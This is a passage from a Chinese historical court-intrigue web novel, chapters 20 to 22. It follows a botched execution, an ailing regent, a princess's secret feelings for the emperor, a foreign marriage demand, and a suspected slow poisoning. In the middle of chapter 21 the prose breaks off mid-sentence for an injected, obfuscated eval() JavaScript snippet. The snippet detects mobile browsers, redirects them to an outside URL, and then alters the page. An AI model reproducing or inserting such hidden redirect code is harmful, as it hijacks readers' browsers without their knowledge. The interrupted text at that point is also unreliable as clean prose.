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“老师,白绫匕首都死状难看,毒酒又不能立死……”方千绪爬过来,紧紧地抱住谢郯的腰,把脸偎在他的大腿上,泪如雨下,“求你全我身后体面,赐我金印,我吞下可死矣!” 谢聿气急:“你!”可是刚“你”了一个字就说不出来了。他眼看着父亲的手覆到了方千绪的后脑上,眼中是从未对他表现过的心痛和怜惜。谢郯颤得那么厉害,几乎是靠着方千绪抱着的力道站在原地。 “老师,”方千绪的声调那样柔,让谢聿听着作呕,可是谢郯偏偏听不出来,“你若要我死,就把你的金印赐我……” “你住口!”谢聿红了眼睛,一把抄起白绫,利索地套在方千绪脖子里。方千绪被他扯得整个人往后倒,谢郯猛然失了平衡,竟跌倒在地。谢聿也顾不得扶,用尽了全身力气勒紧白绫。方千绪很快就因为窒息涨红了脸,一只手徒劳地想扯开白绫,另一只手伸出来,绝望地朝谢郯张开五指,腿脚在地上乱蹬,牵动伤口,洇出一片鲜红。谢郯着了魔似的看着他的伤,突然发出了一声凄厉的痛号:“住手!” “父亲……”谢聿叫了一声,竟然下意识地真的松了手。方千绪爬到一边,大口大口地呼吸,咳喘不休。 谢郯一双眼睛血红,声音几乎被方千绪的咳喘盖过去:“不要杀他……” 谢聿:“他是谋逆的死罪啊!” 谢郯什么都没说,只是抬头看了他一眼。就这么一眼,谢聿就知道了,他说什么都没用了。有两个执金吾卫已经被惊动,从囚室外面问谢郯:“太尉?发生何事了?” “不要杀他。”谢郯又说了一遍,这次没有要谢聿来扶,支撑着自己站了起来,“来人。” 那两个执金吾卫马上进来:“太尉?” “去告诉你们中尉,”谢郯有气无力地吩咐,“找几个人,把他流放去辽东,今生今世,不许他再踏入大雍一步……” 两个执金吾卫都愣在那里。辽东在极苦寒之地,已不是大雍的地界,原本被陈氏占着,后来被大燕所灭,乌兰郁弗派屠珲部镇守,拔拔真又自立为王。反正抢来抢去的,乱得很。 两人看着被打翻的毒酒,散在地上的白绫,红了眼的中书令和那个倒地不起的犯人,眼里都是茫然和无措。 谢郯抬眼:“还不去?” 两个执金吾卫立刻唱了一声诺,退了出去。 谢聿咬着牙,本不想上前,但是看着父亲脸色惨白,摇摇晃晃,一副快要站不住的样子,还是沉默着上去把人扶住。谢郯却甩开他的手,转身要出去。 方千绪在背后又叫了一声:“老师。” 谢郯停住,但没有回头。 “黄泉千丈,你我各有归处。”谢郯最后说了一句,“不必相见了。” 囚室的门重新在他们身后闭上。谢郯也不知道哪来的一股劲,简直比他身子康健的时候还健步如飞,谢聿甚至要小跑才能跟上。这个时候,他却突然又停了下来,谢聿险些撞到他身上。 “我要去见陛下。”谢郯突然说,“我要……” 可他要什么,谢聿没听见了。谢郯先是咳了一声,喉中似有粘痰,唇边却蜿蜒着流下了一丝血迹。谢聿惊住,惶然地伸了手去,又不知道该碰何处。眼见着谢郯突然“噗”地一声,喷出了一大口血,眼睛瞪着,就这么直挺挺地倒了下去。 20.第 20 章 明绰远远地看见上阳宫外面停了辇,心中便疑惑是谁来了。太尉病重,这两天连太后都回了娘家,一应的事务也就都转去了太尉府,上阳宫里倒是难得清净了几日。她赶紧跑进去,但一只脚刚踏进正殿,看见来人的一个侧脸,便毫不犹豫地转身就跑。 萧盈已经发现了她:“溦溦?” 明绰只当没听见,提起裙子跑得飞快。萧盈跟在身后,眼见着明绰一溜烟就跑回了自己的偏殿里。萧盈被她关在门外,一时颇为尴尬,进退两难。门外伺候的人这才反应过来,呼啦啦跪了一地,给陛下请安。萧盈一只手从袖底伸出来,示意她们赶紧起来。 宫人们你看看我,我看看你,一时神色各异,陛下可是从来没有来过上阳宫。萧盈垂眼看到她们的神色,又摆了摆手,示意她们都下去。宫人们便都起来,刚要唱诺,萧盈又使了个眼色,于是众人都安安静静地退了下去。 萧盈这才轻轻地敲了敲门:“溦溦?” 里面一点动静都没有。 萧盈站在门口,眉头都快拧成了结。那天在太极殿他依稀看到有个像明绰的背影跑出去了,后来问楚培,说长公主确实来过,本来是要来劝中书令留人的,但是来了发现陛下已经下令了,就走了。那时候萧盈还没有多想,但从那天开始,明绰很明显一直在躲他。 自从当年她到含清宫跟一起进学开始,一直都是明绰比较黏他。发现他和母后之间关系微妙,他从来不来上阳宫,就总是明绰一趟一趟地往含清宫跑。以前也有因为谢郯生病而短暂罢课的时候,明绰总会找个理由去陪他,叽叽喳喳的,跟他说好多事。要是碰上什么筹备年尾祭典,实在是碰不上面,明绰也会遣人送“功课”去含清宫,借机夹带点儿什么雪积在上面会变甜的腊梅枝,什么母后赏的西域小玩意儿…… 这还是头一回,明绰这么长时间不来找他。 萧盈一开始是担心她受了伤还没养好,派了任之和宋夫人去打听,回来都说长公主没事了,他犹自不信,还把给长公主看伤的太医召了过去,再三确认明绰早已好了,也不是惊吓过度,就是不来见他。于是萧盈也开始给上阳宫送东西,熏香,宝石,新奇菜色……都打着孝顺太后的名义,流水似地往上阳宫去。谢拂霜被他的殷勤弄得莫名其妙的,明绰还是没反应。萧盈终于开始琢磨了,他是哪里得罪了她? “溦溦,”萧盈站在门口,从门缝往里递话,声音轻轻的,怕人听见,“皇兄要是哪里做错了,你好歹告诉一声。” 里面还是没动静,好一会儿,传出来闷闷的一声:“皇兄没做错什么。” 坏了。萧盈咬着下唇琢磨,他真做错了。可是哪儿呢? 太极殿事变之后,袁增当天就领了诏命,太后下的令是“即刻出发”,要他赶在邓霄的罪名和死讯传回去之前镇住荆州军。袁增连家都不曾回,当即出发去宿州的大营点兵,三天之内粮草集结,象征性地回了一趟建康,由天子登城楼送大军出发。 送完袁氏父子,就是商量怎么处理烂摊子。王诃已死,崔夫人顾不上悲痛,着急喊冤,说不知道那些信是方千绪冒充的,但她信中多有不敬之词,难逃谋逆嫌疑,眼下也下了狱,准备发落。王家受此重创,御史中丞之位空了出来,崔挺也被撸了下去,朝中颇有动荡。 另一头,李姬和长沙王那两个儿子还没找着,朝会上就已经为找到以后杀不杀孩子吵了好几架。萧盈听着那些主张“为宗室留人”的大臣们进言,好像还是对他的身世有些疑虑,所以想着不杀方千绪。但是从太后到太尉父子,一开口都是此人绝不可留,萧盈拗不过,只好默许了太尉的意思。 可是杀也是谢郯说要杀的,最后不知道怎么又改了流放,萧盈还想问问怎么回事呢,谢郯反而给他来了个吐血昏厥。他已去太尉府里看过,谢郯这回真是神志不清了,他问都没处问去。 萧盈把这一件一件的事儿都盘了一遍,也没想出来到底哪里得罪了明绰。 萧盈一时也没了辙,便有意道:“长公主去含清宫,向来都是有什么好的都拿出来招待,没成想今日朕来一趟,长公主也不知道去哪儿了,叫朕这番好等,连面都见不着。也罢——” 他话还没说完,明绰就在里面提高了声音:“皇兄招待我不过是吩咐一声,我也吩咐一声就是!”当即便叫了身边伺候的宫人过来,隔着门让她领着陛下去膳房。 只可惜外面的人早被遣了下去,一句回的音儿没有。明绰等了会儿,这才跑出来悄悄打开一条缝,外面谁也没有,只看见一个哭笑不得的萧盈。 她又要关门,但是萧盈动作飞快地把手伸了出来,明绰差点把他手夹门缝里,只好松开手,萧盈顺势把住门,往里一推,完全打开了。 他倒是没进来。其实迁宫以前他也住这儿,但如今两个人都大了,就算他是天子,硬闯妹妹的宫室也不合适。于是就站在门口,眼睛直直地盯着她看。 明绰脖子里的伤已好得差不多,只留下一条淡粉色的疤,还没完全消去。方才正殿里瞥到一眼,分明看见她身上披了外出的大氅,眼下已被她脱了下来。里面穿的和平时差不多,她从不喜欢过多累赘。不像谢星娥,小小年纪就喜欢珠玉满身,萧盈每回见到她都觉得她身上响得烦人。明绰的身份更尊贵,但也就戴了一对金臂钏。头面上什么多余的妆饰也没有,只挽了个松松散散的髻,有意歪在一边。脸面更加素净,只有唇上点了胭脂,却已足够。 萧盈不动声色地移了移视线,不敢多看她,只道:“就当是朕哪里做错了,来给你赔罪,你要怎么出气都行。” 明绰低下头:“我没有生你的气。” “那是为什么?”萧盈猜了猜,“是太后……?” 明绰摇了摇头,不是萧盈想的那样,谢拂霜没有因为这件事拘着她。但她想一想,又点了点头。 母后还在怪她。芸姑回来了,但是当时母后不得已让人打了她板子,芸姑到现在走路还有点儿一瘸一拐。谢拂霜这几天很少跟明绰说话,非要说,语气也总是冷冷的。连太父病到这样,她也不要明绰跟她一起去太尉府。 明绰又委屈又害怕,心里还有一层更说不出的难受,好像她失去了一直疼爱她的母亲,只剩下太后。连皇兄也不是再她的皇兄,只是天子。 太后威严而残酷,天子隐忍而机敏。他们斗来斗去,谁都没有注意到明绰那个小小的世界已经悄然地碎裂。可是这碎裂太微不足道了,明绰发现她似乎是唯一一个在乎这个真相的人,就连萧盈自己也不在乎。他是怎么想的,一点儿也没有让明绰知道。他痛苦过吗?追问过吗?还是只要他坐在那个位子上,是不是亲生的根本就不重要?宗亲们就算听到了方千绪的话也可以当做没听到,他们都太明白什么时候应该沉默。 江山燃烧得轰轰烈烈,小公主的眼泪只是被蒸发的一缕烟。既没有人来在意,她也不想说给任何人听。 明绰沉默着,眼睛一眨,竟然又掉了一滴眼泪。萧盈不自觉地踏进了她的房间,朝她伸出了手。明绰突然从他的眼神里看到了一些似曾相识的东西,那天在崔挺的中尉署,他突然捧住她的脸凑近,也是这样的神情。 然后萧盈的指尖轻轻触到了明绰的脸。 明绰僵在那里,突然大脑一片空白。两个瞬间的脸短暂交叠在一起,仿佛天边一道惊雷,把黑暗里某个庞然大物照得雪亮,又迅速重新归于混沌。明绰不敢去看那个庞然大物的形状,好像它是活的,将醒未醒,在她心里发出模糊的低吼。 萧盈很担忧地看着她:“溦溦?” 明绰紧盯着他的脸,感到他的重睑比任何时候都更加显眼。他们不是兄妹!那头巨兽发出的原来是这个声音。明绰头晕目眩,眼前只有那一天萧盈托着她的脸靠近的样子。萧盈的眼睫像鸟羽一样轻而密,剧烈地颤动着,掩住他的眼睛。他的眼睛…… 明绰的视线落到萧盈的唇上。那时他的眼睛看着她的唇。 萧盈已经把手放下,想了想,突然道:“那天袁煦出城,桓宜华穿了喜服去送……” 明绰一愣:“啊?” 天子虽赐了婚,但桓氏这样的门第,给女儿备婚,耗上两年三年都是很正常的,所以一直说着筹备,婚礼还远。可是如今袁煦跟着父亲调任荆州,还不知道什么时候能回来,桓宜华深恐家里借机反悔,干脆身着喜服去城门相送。 萧盈细细地讲给明绰听,说袁煦如何大受感动,下马携夫人给袁增磕头,又给天子磕头,就算做过门。百姓们就爱看这样的,轰天叫好,连袁增的马都惊了。父子两个一出城,桓宜华就让收拾了细软,干脆搬到袁府去,说皇天后土为证,她已是袁家媳。丈夫远征,她要去伺候婆母,照顾幼弟。 明绰听得愣在那里,一半是让桓宜华的大胆吓着了,另一半是不明白萧盈怎么突然跟她说这个。萧盈也不太习惯说这些,他们俩之间,一向是明绰叽叽喳喳地跟他说热闹。见她不应,萧盈也说不下去了,神色悻悻的,轻声给自己解释了一句:“朕以为你爱听热闹呢。” 他搜肠刮肚,也就找出这么一件热闹可以说给明绰听。 明绰看着他,“哦”了一声。皇兄这会儿让她有一点熟悉的感觉——她一想到这里,就在心里提醒自己,他不是“皇兄”。可是不知道为什么,这话在心里多念几遍,也泛出了别样的滋味。 明绰把脸拉下来,只道:“袁煦的热闹有什么好听的!”转身又走。萧盈愣在那里,为难地扯了扯嘴角。他忘了,明绰特别不喜欢袁煦来着。但是明绰愿意开口说话了,总是好事。萧盈心放下来一半,看着明绰往床边一坐,有意扭过脸,不肯看他。 萧盈又问了一遍:“你今天去哪儿了?”但是明绰没理他。 其实明绰有话想说,只是不敢。她想问问萧盈是不是早就知道自己的身世了, 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还有一些很微末的小事——以前宋夫人对她也很好的,但不知道从什么时候开始,态度就有些微妙的冷淡了。原先她没放在心上,现在觉得可能和母后有关。难道是母后做了什么,让萧盈意识到这不可能是一个母亲做得出来的?那到底会是怎样残酷的事,让他不得不接受这样的事实,甚至让宋夫人都恼怒到迁怒于明绰? 萧盈实在不会哄人,见她不肯回答,自己也不知道该说些什么,只好走过来,也往她脚边坐。往日里明绰去看他,也总是这么不计较地坐在脚踏上。明绰垂头看了他一眼,突然想到,那盒熏香赏了谢星娥的事儿,她到今天也没敢跟萧盈说。 明绰无声地从床上下来,靠着萧盈坐在了他身边。萧盈转头看着她,明绰还是什么都没说,挽住了他一条胳膊,头歪过来,靠在了萧盈的肩膀上。萧盈僵了一僵,突然感觉到一片温热。 “溦溦?”萧盈吓了一跳,“怎么了?” 他想把手抽走,去看明绰的脸。但是明绰执着地把脸埋在他肩上,抱着他的胳膊不让他动。好一会儿,突然闷着声音说:“对不起。” 对不起什么呢?她自己也不知道,她甚至没有勇气问清楚母后到底对萧盈做了什么。也许就是为了她的没有勇气,为了她这么多年的天真快乐,视而不见。但是萧盈好像明白了什么,他突然伸出手,轻轻地搭在了明绰的后脑。 明绰感觉到了他的动作,哭得更加厉害。她好像突然从悬崖跌落,苦海里都是过往的碎片,被激流裹着,每经过她身边一次就划出一道后知后觉的血口。 萧盈任她哭,手掌轻轻地抚着她的后脑,突然道:“你放心。” 明绰抬起头,对上了萧盈的眼睛。他侧着脸,挨得极近。明绰本想说什么,让他这么看着,便愣愣的,只问:“我放心什么?” 可是等萧盈开了口,刚说了“无论”二字,明绰又猛地抬起手,掩住了他的口。她不敢听“无论”后面跟的话,他要挑破他们不是兄妹,还是挑破他和谢拂霜之间的你死我活? 她的眼神那样惊恐,让萧盈也再说不出口。只是看着她,心里一下一下的,牵着疼。 许久,萧盈伸手攥住了明绰的手,突然低下头,吻了吻她的指尖。 明绰不知道是因为他这个动作,还是门外突然传来的声音让她猛地收回了手。萧盈面色如常,镇定地顺势抬手理了理垂下来的袖袍,扬声应道:“何事?” 门外传来通报的声音:“桓令君求见。” 明绰也扬声回道:“母后在太尉府!” 门外的声音顿了顿,然后重新开口。明绰这才听出来,这不是她宫里人的声音,而是任之。 “长公主恕罪。桓令君已在含清宫相候,求见陛下。” 明绰一下子住了口,脸色复杂地看了萧盈一眼。原来如今朝臣已经可以直接进宫见天子了。 萧盈站了起来,低头看了看她,似是还想说什么,但视线落到明绰方才那只手上,又终究有些惴惴,只匆匆丢下一句:“朕先去了。”便推门而出。 他走得太快,几乎有些落荒而逃的意思。任之跟在身后,险些赶不上他的步子。 “桓令君何事?”萧盈敏捷地坐上轿辇,抬手示意快走。任之跟在辇旁,匆匆地给他汇报。 “鸿胪寺收到了燕国国书,尚书台已核准,送来请陛下裁夺。” “燕国?”萧盈轻轻皱起了眉头,离大燕上次递国书都快一年多了,那次是乌兰徵写信来服软。“又怎么了?” 他嘴上虽问,心里却没太在意。既然尚书台已经同意了,那应该不是什么大事。最后给天子定夺也就是走个流程,让他说几句场面话,再去回复使者。 他突然想起什么,也不等任之回答,又问:“乌兰徵不是远征西海去了吗?” “是段太后代乌兰国主所请,”任之回答他,“求陛下将大雍宗室公主许配,以结两朝秦晋之好。” 21.第 21 章 “桓廊他敢?!”谢拂霜的音调一下扬起,像崩断的弦。庾夫人赶紧做了个手势,示意她小声些,但谢拂霜视若无睹,只转过头来问谢聿,“你也同意了?” 谢聿没看她的眼睛,低了头,不响。 几年前他们还商议着出兵剿乌兰,如今大燕已在长安坐稳江山,上次跟段太后交手,大雍也没有讨到多少便宜。西海那边传出风声,乌兰徵在战场上不输乃父,兀臧部节节败退,大局初定。时局如此,连当初主战的桓廊也不得不承认,眼下最好跟大燕和平相处。 段太后到底是汉人,也不愿意和大雍起兵戈。她此时递来国书求娶公主正是良机,尚书台马上就批示了“准”。桓廊还玩儿了点儿心计,知道太后爱女心切,所以拿去给陛下批,也算是表个态,支持陛下亲政的意思。 没想到陛下连尚书令的面子都驳了,说什么也不肯。 天子不允,那便要重臣们组织廷议,商量个对策出来。但商量来商量去,还是觉得没有拒绝的理由。段太后只求“宗室公主”,倒也未必要长公主这般尊贵。可是坏就坏在藩王接连叛乱,他们的子女都跟着获罪贬谪,眼下宗室之中除了东乡公主已无适龄女子。若是再往旁系去找,那已不姓萧了。若是段太后以为这是羞辱,便有理由出兵犯雍,这可越发得不偿失。最后结论还是那个,只能东乡公主去。 谢聿回太尉府,才刚开了个口,妹妹就不愿听了。 谢拂霜梗直脖子骂他:“你怎么不让你女儿去!” “我女儿不是公主。”谢聿只道,“若她是公主,我自肯让她去!” 庾夫人朝谢聿瞪起了眼睛,脸色难看,但没敢说什么。谢拂霜看在眼里,冷笑了一声道:“本宫封她个公主又有何难?此事前朝亦有先例——” 只听门外传来一个声音:“星娥姓谢,不配封公主。”房内三人都是一惊,庾夫人第一个站起来,迎到门边去扶。谢郯吐血后一直卧床不起,昨天才微微有了好转,能自己吃得下饭了,眼下让一个婢女扶着,走得甚为艰难。谢聿见状也上来扶,夫妻两一个一左一右,几乎是把他架了进来。唯独谢拂霜站着,并不肯来扶。 谢郯坐下,说不出话,只是喘。 谢聿:“父亲,我和拂霜在说……” 谢郯抬了抬手:“听见了。” 兄妹两个便都不说了,等着谢郯发话。但他不提这个,只从怀里抽出一封信来,交给谢聿:“把这个发去幽州,让你兄弟回来。” 谢聿低头一看,信是写给他堂弟谢维的。谢郯的弟弟早逝,谢维在太尉府长大,如同亲生。当初北边的陈氏仍在时,幽州是大雍对抗陈氏的前线,谢维奉命领幽州事,已多年不曾回家。 谢聿有些茫然,不明白谢郯为何此时要把谢维召回来。谢郯抬头对谢拂霜道:“太后,长沙王余孽到现在还没找到,足见楚培不堪大用。执金吾卫是国之重器,不能交在这小儿手中。让谢维回来掌执金吾卫吧。” 谢拂霜微微皱眉,脸上仍有疑惑,但还是应了一声:“好。” 谢郯点点头,他似是想咳嗽,但连咳嗽的力气都没有,发出来的就只是难听的喘,胸腔里“呼哧呼哧”地响个没完。谢拂霜的眉头皱得越发紧,到底还是凑上去。庾夫人给她让了个位置,她跪坐在父亲身边,轻轻地在他背上给他顺气。 “我知道,”谢郯缓过一口气,朝她道,“你舍不得女儿。” 谢拂霜的手停下来,木着面皮,不搭话。 谢郯也没再说什么,口吻变得像下命令:“你亲自写信给段太后,就说东乡公主年纪尚幼,你膝下单薄,让公主在你身边再陪两年。等公主满了十六岁,便送她去长安完婚。” 谢拂霜听到前半句时眼中还闪出了光,但是那光迅速熄灭,成了两抹灰烬。 “父亲……”她的声音有些发颤。 谢郯只当没听见:“段太后也有女儿,想必会体谅,不至于两年都不愿等……” “父亲!” 谢郯终于停下来,谢拂霜看着他,眼中有泪,但她不肯让眼泪落下来。谢郯始终没有看她的眼睛。 “你出嫁的时候,为父也心疼。”良久,谢郯轻声道,“但女儿总是要嫁的,东乡不能留在你身边一辈子。” 谢拂霜下唇剧颤,说不出话。她是嫁了,可是太尉府到宫城路远几何?建康到长安又路远几何!她为何不能把女儿留在身边一辈子?建康有那么多的名门权贵,选谁不行?——可是谢郯抬起头看着她,目光那么冷,几乎是一个警告。 他就是要把明绰送走,彻底断了她的念想。再给两年已是天大的恩赐,她若识相,就知道此时该妥协了。 谢拂霜突然了然地笑了一声,像是在笑自己。她站起来,低头整了整压皱的裙裾,一滴泪随着她的动作坠下,谢拂霜迅速地用手背擦去。 “是啊,女儿总是要嫁的。”她重新昂起头,“我也早已嫁了人,真不知道为何还要在这里。” 她说完这句话,转身就走,甚至没有跟谢郯告别。庾夫人茫然地看向谢郯和谢聿,但他们父子两个都没有要追出去的意思,她只好提起裙裾,匆匆地跟上去,口中连声唤“太后”。 谢郯阖上了眼睛,似是累极了。 “父亲,”谢聿轻声道,“儿子扶你回去歇息吧?” 谢郯摇了摇头:“听说今日廷议,陛下当众申斥了你?” 谢聿眉尖轻轻一跳,意外父亲尚在病中,怎么会知道得这么快。萧盈对待朝臣从来温和绵软,善纳谏,常施恩。太后以前常说他无力御下,谢聿也是今年才咂摸出味儿来,萧盈这是知道手里没什么筹码,只能春风化雨,看着绵软,其实都是拉拢人心。想做什么,往往借力打力,从不硬来。唯独今天翻了脸,态度之强硬,谢聿从未所见。 可惜翻脸也没用。此事并不涉及朝中大姓争权,陛下无处使力。反而是群臣都就事论事的时候,就看出来陛下根基之浅了。但凡他威重服人,总会有人帮腔,不至于如此。 萧盈似乎也意识到了这种局面对他的不利,越发情急,当众申斥了中书令,更像个发脾气的小孩子。 谢聿对此事没再说什么,反倒斟酌着字句道:“父亲,方……那位所言,其实不无道理。” 谢郯眼皮垂着,若有所思。好一会儿,突然问:“他密诏执金吾卫,是谁把那假虎符从宫里送出来的?” 谢聿一怔,倒是让父亲问住了。萧盈授意崔挺在众宗亲面前杀太尉府的人一事,其实他们都心知肚明。但太后已经处置了崔挺,假虎符一事也就过去了。谢郯问这个,那无非就是含清宫里的人,萧盈身边的亲信也没有几个。 “陛下也长大了。”谢郯语气淡淡的,“还留着乳母在身边,像什么话。” 谢太尉一句话定了乾坤。鸿胪寺次日便拟诏,由燕国使者带回。月底,谢维自幽州返京,奉太后令掌执金吾卫,楚培仍任右中侯。 甫一上任,谢维便接管了整个建康的防务,先找长沙王余孽。城中原本是五家为伍,五伍为里,设里长治理。但京中多权贵,里长们也多跟世家沾亲带故,都是滚刀肉,楚培镇不住他们。谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012321|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维出手便是铁腕,先砍了两颗脑袋立威,然后下令,若是查出窝藏长沙王余孽的,全伍连坐。不过七日,躲藏多时的李姬就被抓出来处以极刑。李姬出身民间,窝藏她的正是她幼时的邻居,眼下一并发落。谢维说到做到,全伍五户人家全部杀光,尸体在城墙上吊成了一排。 这头雷霆手段使完,长沙王那两个儿子倒是没杀。太尉下令,虽把他们都下了诏狱,但连侯爵都未褫夺。此举一行,朝中便都闻出风向不对。陛下能在太后手里争权,说到底是因为太尉的支持。陛下申斥中书令一事,恐怕犯了太尉的忌讳。 说得不好听一点儿,太尉这还没闭眼呢,陛下也太着急了。 含清宫再次变得冷冷清清。 上阳宫外传来异响的时候,明绰正陪着谢拂霜用饭。自从太尉府回来以后,谢拂霜消了气,对明绰的态度好了许多。明绰亦很乖觉,听见宋夫人的声音,先是下意识放下了碗筷,随后又看了一眼母后的脸色,没动。 外面乱糟糟地传进来许多人声,宋夫人被拦了下来。但她不肯走,扯着嗓子,哀泣一般:“陛下犯了心痛之疾,求太后见怜开恩!” 明绰的心一下子吊了起来:“母后!” 谢拂霜不为所动,好像没听见外面有人,平静地给她夹了一筷子菜。 宋夫人还在喊:“太后!开恩哪!” 明绰想站起来,梁芸姑的手立刻搭到她肩膀上,不轻不重地唤她:“长公主。” “奴婢甘愿万死,只求太后开恩!不要折磨陛下了!” 谢拂霜终于放下了碗筷,眉间似有不快:“病了就去请太医,来上阳宫聒噪什么?” 她抬了抬手,示意灵芝出去问。明绰看着灵芝快步跑了出去,外面的声音稍微静下几分,不多时灵芝便又跑回来,回禀说陛下晌午就不适,但是太医令只让仍旧吃着原先的方子,宋夫人这才来求太后。 谢拂霜听完也只垂了眼皮,淡淡道:“那听太医的就是了。” 明绰突然站起来,重重地甩开梁芸姑,转身就走。 谢拂霜低声道:“站住。” 明绰站住脚,听见谢拂霜在身后道:“坐下吃饭。” “我要去含清宫。” 谢拂霜的声音冷冷的:“你去有什么用?” 明绰转回头看了她一眼,眼中是掩都掩不住的伤心责备。 萧盈是这样没有分寸的人吗?平时朝会他都很少开口,又怎么会突然力排众议,激怒权臣?她不信母后也不明白。 “皇兄都是为了我。”明绰说得很简单,“我要去。” 她说完就快步走了出去。梁芸姑在她身后叫了一声,回头去看谢拂霜的眼色。但是谢拂霜没有让人拦,她就这样静静地看着女儿跑了出去,眼中的神色复杂到难以言明。 梁芸姑第一次从她眼中看到了松动,一种近乎柔软的怜悯。谢拂霜抬头,看到了梁芸姑看着她,突然苦笑了一声,那怜悯竟像是对着自己。 十几年的冷漠与残忍之后,她竟会在今日从那个孩子身上看到“同病相怜”这种东西吗?未免太可笑了。 谢拂霜示意灵芝过来:“你也去含清宫一趟。告诉太医……” 她停了下来。灵芝等着她往下说,可谢拂霜没再出声。已经这么多年了,只这一次,还能有什么用吗? 她垂下眼,低着头,那一瞬间,没有人看得到太后脸上的神情。然后她漠然地重新端起了碗筷,面无表情地继续吃饭。 灵芝乖觉地退了一步,没有再问太后本来想吩咐什么。 22.第 22 章 几个铜的烛台被掀倒在地,大部分蜡烛都从中断折,像被砍下来的脑袋,唯有一根烛芯勉强相连。纸笔散了满桌,洒着斑斑的墨。床边有个鎏金的水盆,里面吐了什么东西。床幔后面有个人影,缩得那么小,随着有人进来的脚步声而轻微地动了动。 “皇兄……”明绰唤了一声,轻轻地挑开了床幔。 萧盈躺在床上,闭着眼睛,紧紧地皱着眉。身上只有一件中衣,被冷汗黏在了身上。披散的长发覆在脸上,沾得凌乱。他没应,好像根本没听进是谁进来了。明绰跪坐到床边,伸出手,给他把汗湿的长发从颊边捋开。萧盈被她的动作惊了一下似的,突然睁开眼,一把抓住了她的手腕。 他的力气太大,明绰没忍住“嘶”了一声。有那么一会儿,萧盈好像完全认不出来的人是谁,眼底一片血红,带着明绰从未见过的恨意。她几乎听不到他的呼吸声,他像一头潜伏起来的野兽,攒着劲,连呼吸都不舍得浪费力气,直到明绰又叫了一遍“皇兄”,萧盈眼中才浮起一阵恍惚,慢慢地松开了手指。 “你怎么来了?” 他的声音很哑,明绰险些没认出来。其实她从来没有撞见过萧盈发病的样子,往日里都是知道他病了再去探望,他最多是脸色差些,身上的药味浓些。见到他这样,明绰一句话都还没说出来,眼泪已经先下来了。 萧盈的眉头皱得更紧,伸出一只手来摸了摸她的头发:“别哭。” “皇兄,”明绰的视线落到萧盈微敞的衣襟上。她记得宋夫人说过按摩哪个穴位来着可以缓解,可是哪一个呢?她根本一窍不通,一时急得只是落泪,又问,“你哪里难受?” 他哪里都难受。心脏每跳一下都像是要炸开来,呼吸间牵扯着摸不到的痛处,早些时候还只是轻微的刺痛,到现在他已经感觉不到他的手臂了。恶心,冷汗出完就是呕吐,现在眼前都是花的,看不清她,却还是勉强挤出了一个笑:“太医施过针了,没事。” 明绰吸了吸鼻子,环视了一圈,又小声问他:“皇兄,含清宫里的人呢?” 还真是哪壶不开提哪壶,萧盈没忍住露出了一个苦笑。明绰这么问并不是因为含清宫没人,恰恰是含清宫里人太多了,但一张面孔她都不识得。任之不见了,那个总是偷偷在滴漏上做手脚、好掩饰她的迟到的圆脸宫人也不见了。明绰走进来,感觉整个含清宫伺候的就只剩下了宋夫人,可是来来往往的生面孔却比原先多了一倍还不止。 明绰抿紧了唇,几乎挨到萧盈耳边:“是太父吗?” 萧盈看定了她的眼睛,好一会儿,动作非常微小地点了点头。然后他轻轻握住了明绰的手:“姊姊呢?” “她跟太医在偏殿。”明绰犹豫了一下,不知道是否该把宋夫人去上阳宫哭求一事告诉萧盈。但萧盈看起来似乎放心了,意识再次模糊过去,口中喃喃了一句什么。明绰把耳朵凑到了离他的唇很近的地方才听到了他说的话:“不要让他们带走她……” “谁?”明绰问他,可是萧盈又不说话了。他整个人蜷缩得更紧,握着明绰的手,拽着她,贴在自己的胸口。明绰能感觉到手背抵着他的发烫的皮肉,心脏隔着一层,跳得很急很快,更多的冷汗从萧盈额角渗了出来。 明绰转头,再次环视了一下寝宫里像是被贼人洗劫过的情形,心里莫名沉沉地坠了一下,像是从阶上下来时一脚踏空。 又有脚步声从殿外传进来,一个脸生的婢女手里端着药走了进来。她一眼就认出了长公主,先行了礼,再奉上了药。明绰端过来先闻了闻,确实是萧盈身上一直带的那种味道,便轻轻地推了推萧盈,想把自己的手从他的抓握里抽出来。 “皇兄,”明绰小声哄他,“吃药了。” 萧盈一时仍未醒,明绰很有耐心地在他耳边轻轻呼唤了好几声,他才又呼出一口气。人清醒一些,眼睛却不愿睁开似的,痛苦地翻过脸,埋进被衾,似是怕光。明绰把药端近一些,又说了一句:“皇兄,把药喝下去就没那么难受了。” 萧盈闻到熟悉的味道,终于睁开了眼睛,看了明绰一眼。他什么都没说,只是躺在那里,就像一只无奈而甘心的鹿,不愿喝药,但只要明绰真的喂,他也会喝。这一眼依稀似曾相识,明绰端药的手突然一抖,往回缩了一下。 不对,皇兄不愿喝药绝对不是因为怕药苦。 明绰回头看了一眼那个脸生的婢女,她站得远远的,姿态恭敬,低着头,看也不往这里看。明绰转回来,看着自己手里的药。小小一碗深褐色的液体,却像一碗看不到底的深潭,映出了她的脸。 太医来施了针,缓解了萧盈的痛苦,却开不出别的药,宋夫人情急之下就去上阳宫求太后——其实她早该想到为什么。含清宫的人是太尉今天才要换的,但这药萧盈已经吃了很多年,如果这药有问题,只会是谢拂霜。 萧盈伸出手,轻声道:“朕喝就是。” 明绰躲了一下,突然仰起脖子,一口把药全灌了下去。萧盈也不知道哪里来的一股力气,整个人都一扑,把药碗从明绰手中打飞出来。还剩下一点儿来不及喝下去的药随之洒出来,滴落明绰的襟口。 “你在干什么?”萧盈抓着她的手,原本苍白的面色突然泛出一股异样的红,“快吐出来!” 明绰看着他,突然笑了一声,眼泪却迅速地蓄满了眼眶。这就是她要的答案了,如果她好好问,萧盈一定不会说。那个婢女茫然地抬头,不明白发生了什么。 明绰:“去把太医叫过来,就说是我误食了陛下的药。” 那婢女唱了一声诺,下去了。萧盈看着她,脸上的红褪下去,重新变作玉石一般的惨淡。明绰不忍看他的脸,低下了头。眼中摇摇欲坠的泪就这样落下,“啪”地一下砸在了萧盈的手背上。萧盈像被烫了一下,手指神经质地一缩。 